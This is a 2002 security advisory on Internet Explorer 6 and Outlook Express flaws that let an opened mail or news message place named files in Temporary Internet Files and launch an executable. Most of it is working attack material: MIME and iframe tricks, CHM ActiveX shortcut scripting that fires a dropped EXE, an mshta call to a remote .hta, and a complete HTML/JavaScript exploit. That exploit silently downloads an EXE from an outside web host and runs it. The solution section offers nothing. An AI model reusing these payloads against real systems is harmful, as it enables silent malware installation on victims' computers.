2nd Apr 2002 [SBWID-5229]
COMMAND
Opening Internet related content (web, news, mail) can lead to trojan
delivery
SYSTEMS AFFECTED
Internet Explorer 6.0, Outlook Express 6.0 and
probably Outlook and Outlook 2002.
Default settings for Outlook Express and Outlook: restricted zone.
PROBLEM
\'http-equiv\' [http://www.malware.com] says :
Internet explorer and accompanying mail and news clients divert all
external files into the Temporary Internet File (TIF) which is
controlled by the various security settings of the browser. If we can
strategically place our named files inside the TIF and determine their
exact location, we are in business.
How Do We Do That:
Recent bandages applied to Internet Explorer currently transfer files
from mail and news to the TIF without given names and with a TMP
extension. Technically the mail client is able to determine the
contents of these *.TMP files through the Content-ID protocol
(cid:malware) whether the file is a sound file, html file, image file
etc. and based on the contents coupled with the given Content-Type:
image/gif render or parse accordingly.
Through trivial html we are able to restore our given file names and
dictate where our files are to be placed inside the TIF.
Content-Type: audio/x-ms-wma;
name=\"malware.wma\"
Content-Transfer-Encoding: base64
Content-ID: <mrs.malware>
Content-Location: file:///malware.wma
In order to ensure all our files end up in the same folder within the
TIF, we encapsulate the entire \"package\" in MIME base64 so that as
the self-contained mail message is opened within a particular folder in
the TIF, so all the required files are transferred instantly and
silently into that same particular folder.
[screen shot: http://www.malware.com/ca$h.png 11KB]
And:
Now that we have our named files in our known location inside the TIF,
we need to access them to trigger off the entire event. We utilise the
multi-purpose Windows Media Player and its assortment of files. We
create a very simple media file with 0s URL flip and point that to our
named file in our known location.
<iframe src=\"cid:mrs.malware\" style=\"display:none\">
Content-Type: audio/x-ms-wma;
name=\"malware.wma\"
Content-Transfer-Encoding: base64
Content-ID: <mrs.malware>
Content-Location: file:///malware.wma
Our named file it points to is a very simple *.html file comprising our
scripting to determine the location like so:
malware=document.URL;
path=malware.substr(-0,malware.lastIndexOf(\"\\\\\"));
path=unescape(path);
With this information, we utilise an existing possibility to call our
named *.chm file which has been delivered to the TIF along with our
primary message and open it. Inside our *.chm we include a more
sophisticated scripting to determine yet again the location of our
third file, our *.exe which has also been delivered along with our
primary message:
var malware=\"malware[1].exe\";
document.writeln(\'<OBJECT id=AA classid=\"clsid:adb880a6-d8ff-11cf-
9377-00aa003b7a11\" width=10 height=10>\');
document.writeln(\'<PARAM name=\"Command\" value=\"ShortCut\">\');
document.writeln(\' <PARAM name=\"Item1\"
value=\",\'+cool.path+malware+\',\">\');
document.writeln(\'</OBJECT>\');
setTimeout(\"AA.Click();\",3000);
[screen shot: http://www.malware.com/ca$h.png 11KB]
This inturn fires our *.exe that we have dropped into the TIF.
Critical Note: it is imperative that our media file is delivered to the
TIF and opened from within the TIF through MIME encapsulation. Without
out this the URL filp when triggered will expect to find the referenced
file name on the server.
Repeat:
1. Our mail message or news post containing our 4 critical files
[*.html, *.chm, *.wma, *.exe] is fired off to the unsuspecting
recipient.
2. Upon opening the mail or news message, all embedded files are
instantly transferred to the TIF with our given file names. Note: this
is in addition to the exact same files transferred in accordance with
security as *.TMP files. Our 0s media file is then automatically opened
by our iframe. This inturn launches the Windows Media Player which
immediately URL flips to our named *.html file. Obviously, because the
media file resides in the same folder inside the TIF as our *.html
file, it will call the *.html file.
3. Our *.html file is then opened in a new browser window along with
the full path name of its location. Our scripting to determine the
location and write it inside our *.html is fired. This inturn calls our
*.chm file which is opened.
4. Our *.chm file is opened and our sophisticated scripting to
determine the location inside that, then calls our *.exe which also
resides in the same folder inside the TIF:
[screen shot: http://www.malware.com/ca$h.png 11KB]
BANG!
The above represents by far the most successful method to achieve this.
Primarily because we can (a) dictate our file names and (b) ensure all
necessary files are transferred to the same folder within the TIF.
In the case of Outlook Express default settings and Outlook default
settings, where no scripting and no activex is allowed. We can achieve
similar results substituting our method of file transference in the
above, with a less than robust method. Simply put:
a) embedded media file in iframe -- automatically opened from with in
the TIF -- no scripting
b) generic html tags <img src=malware.html...<bgsound
src=*.chm...etc will deposit our required files inside the TIF-- no
scripting but not always in the same folder. To do this we need to draw
the files remotely from a server in order to ensure they are
transferred with given file names. 5 out of 10 times we can achieve
success but in typical fashion the Internet Explorer 6 browser under
unidentifiable conditions (at whim), can transfer each file into
different folders inside the TIF.
In the case of Internet Explorer 6 simply converting our mail or news
message to *.mhtml format and in particular our first scenario above
where all files are embedded, results in 99.999% success. Obviously
that 1% being the most important, and that is launching the Windows
Media Player in order to invoke our URL flip. No matter how examined,
despite all necessary files with file names being in the known
location, it simply refuses interpret the path to the media
file.Without a doubt a solution is out there but we are out of time.
Working Examples:
Tested on fully patched Internet Explorer 6 and Outlook Express 6 on
win98
NOTE: all have about a 20 second delay
1. All files fully embedded in the mail message. Open in mail client in
internet zone:
Includes harmless *.exe
http://www.malware.com/oxpress.zip
note: there can be a possibility that the resulting file name after
transference differs from OS to OS.
2. Media file fully embedded, all other files remotely retrieved. Open
in mail client in restricted zone.
Includes harmless *.exe
http://www.malware.com/outlook.zip
note 1: there is a great possibility that the resulting transference is
to different folders within the TIF.
note 2: this is definitely not fool proof but by decreasing the amount
of required files i.e. only *.chm and *.html with incorporation of the
previous:
C:\\WINDOWS\\SYSTEM\\Mshta.exe,http://www.malware.com/foobar.hta
link we can leave out the *.exe as it would appear that the more files
transferred the more chances are different folders inside the TIF are
used.
3. For Internet Explorer 6, simply convert 1 above to *.mhtml format
and give it a whack. Perhaps some bright spark knows how to remedy this
one. Good Luck !
4. For the very few interested, we managed to compile an *.hta file
into a *.chm as well as a RFC822 mail message. Behaviour results in the
same as IE6. Nothing spectacular. Technically interesting results:
http://www.malware.com/chm.zip
Update (03 April 2002)
======
On the same trend Elia Florio [eflorio@edmaster.it] posted the
following exploit :
When an HTML page attached into a message, is started, it runs in the
security zone of \"\\Temporary Internet Files\" (TIF).
First: we can use the \"dynsrc\" trick of IMG tag to download an .EXE
from the web - in a silent way - into TIF zone. NOTE: if we use
\"src\", the browser does not recognize the image format (because it\'s
an executable) and download it only in a partial way.
Then - using javascript - we can get local path of \"Temporary Internet
Files\" folder where the page was stored from Outlook Express and where
the .EXE file will be downloaded. NOTE: we must add \"[1]\" or \"[2]\"
or \"[x]\" at the end of .EXE filename, because IE rename temporary
downloaded files.
Finally, using \".innerHTML\" exploit and knowing the exact path of the
executable, we can run the .EXE file using this interesting trick:
- if we use a path which contains the string \"\\Temporary Internet Files\",
IE will refuse to create ActiveX object for security restrictions and
does not run the .EXE file;
- but if we use old-dos path (c:\\windows\\tempor~1\\content.ie5) instead
long path (c:\\windows\\temporary internet files\\content.ie5),
IE is fooled and run the .EXE file;
This is the JavaScript code for the HTML page (note: you must create an
HTML file and attach it to e-mail message, this code does not work
written directly inside the e-mail, the HTML page must be opened from
Outlook Express)
The exploit is easy to create if page and executable have a similar
name (for example EXPLOIT.HTML and EXPLOIT.EXE). The .EXE file must be
uploaded into a web-site before.
NOTE: exploit is not an \"automatic execution\" of attachment, the
victim must open the attached HTML page.
<HTML>
<SCRIPT LANGUAGE=\"JavaScript\">
function runtimer() {
//we must wait until .EXE file is copied to \\Temporary Internet Files
timerID=setTimeout(\'runit()\',7000)
}
function runit () {
//catch local path of .EXE file
var url = document.location.href;
var path1=url.substring(8,url.length-5)+\"[1].exe\";
//we need only the final path string
//it starts from /Content.IE5/xxyyzz/
i=0;
var found=false;
var path2=\"\";
while(i<path1.length) {
if(path1.substring(i,i+2)==\"/C\") {found=true;}
if(found) {path2=path2+path1.substring(i,i+1);}
i++;
}
//this is the trick using dos name \"Tempor~1\" instead long names
\"Temporary Internet Files\"
path2=\"C:/WINDOWS/Tempor~1\"+path2;
alert(\"LOCAL PATH = \"+path2);
//finally run it with help of .innerHTML
document.body.innerHTML = \'<OBJECT NAME=\"X\"
CLASSID=\"CLSID:11111111-1111-1111-1111-111111111111\"
CODEBASE=\'+path2+\'></OBJECT>\';
}
</SCRIPT>
<body onLoad=\"runtimer()\">
<center>
<h3>OUTLOOK EXPRESS Temporary Internet Files Locate&Execution</h3>
<img src=\"_some_image.jpg\"
dynsrc=\"http://web.tiscali.it/funkybus/exploit.exe\">
<hr>
<P>This page download (silently) an .EXE file using \"IMG\" tag
into \"\\Temporary Internet Files\" folder, then locate the local path
of the .EXE using JavaScript and run it using .innerHtml exploit.</P>
<hr>
Exploit coded by Elia Florio
(eflorio@edmaster.it)
</center>
</body>
</html>
SOLUTION
??
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